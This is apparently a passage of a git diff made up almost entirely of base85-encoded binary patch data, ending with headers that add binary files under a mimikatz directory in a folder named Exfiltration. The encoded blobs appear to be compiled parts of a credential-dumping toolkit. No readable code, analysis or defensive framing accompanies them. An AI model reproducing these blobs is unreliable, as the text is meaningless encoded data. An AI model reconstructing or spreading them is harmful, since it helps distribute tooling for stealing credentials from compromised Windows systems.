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 literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp b/Exfiltration/mimikatz-1.0/Win32/kelloworld.exp new file mode 100644 index 0000000000000000000000000000000000000000..ce21b1639935cc8c9ddd1454fc21c648bafa3a1f GIT binary patch literal 816 zcmbtS%}T>S5T3MZRXntwJ><|siyB%LDN>;*Dn+fuLPcDVv{~!YO*U-OAAAzQs}JHU z`2;$%X=@N~4w>0+zU)rE$?TPtf!b^HR%QU!!IG&$e0C?M^9S=@+XwjH|9KT!Ot0=bAPWE47rqQqO|lJPfB=Rq!5Z=0I)HulY=cp zS@ay(7?%txVq7+;gpqXTpn`G5pdE~B1|674Z|U48dK*RFgH=EXr$_8U#LuH1YpV&@ z9TIUi4Y?LR4`NrcW-wMmzI!cvF?8b>=Fh-x)v2&M5$x}=R3CgA!Zy?kIV??r6QiH6 z#ui+QzE+WXitW;E*}iJFF5w-H3(%i<{}ducPrE`39;MU(pK_|()@q<#-#!*> literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib b/Exfiltration/mimikatz-1.0/Win32/kelloworld.lib new file mode 100644 index 0000000000000000000000000000000000000000..5328cbd8b079eefb6d37d9fe98f46411138feda7 GIT binary patch literal 1900 zcmcIlO>Wab6#ne|G(-qRg{~?jBPs!#)Jg2riwdP7NJMqh%1tG9Cd6$M;o>MQWyu9N z0E##OhhWhopo#?t;2z~Yd#1Ka=%2z!o|*UgdEWcxeKUTv+8g%=&x^}ix>ahHZkmRr zTWMSuW~FY3*_$GOIY2oDvIQX5Br_j9`3aDpxNdu6Yt!kvt(V&`oc30C({bPJ`hM^+ z82cVvx3gp0fBWE5>=e0lU+r|(-PT%njXoM4j9hm#e7_ITN5~+taAJOAek(D*91%QK zfI=2%l94C26J|)b0u?!A!zV*o-HxeXlgKy4FNueYFWZ@T)5@OjFKbs-($wqcm9&)% ztS@b6p4k#RCRp}%-+tI%+Kx=1MU&6c5Mu+SW_jrKj(ST~`RV~pe$ew<02vw^&`*S4 zUBD>OM5TDrkMRby6P3mV++h><(xjf?eu+1qm*mC@436hFhW&AH80;NsPn~C)-R`W1 zZ!dIr$>tAv0a9!@;~cokb4UlGO!~pWh*A!YzvApnhUBlfagHh^^9B%RJ&;Jqkz-{f zVz3VZIQKDQgz?ARiN>n~tHRDLd=E3^Jg2M13tz=uLNzss zvTD9bLyWAN|D}fO)b}Cf@y|=Dm{!cy=dEhRH;X)PzbHaf?ddyr$$2y7X0ayuyd_)W zycrT_zn{_&{%+(SP_EM_>aVA)mHc}TMRiC;3jU-bj@(%8XA@9u@)$n MLN{mhN4gm050?*g&;S4c literal 0 HcmV?d00001 diff 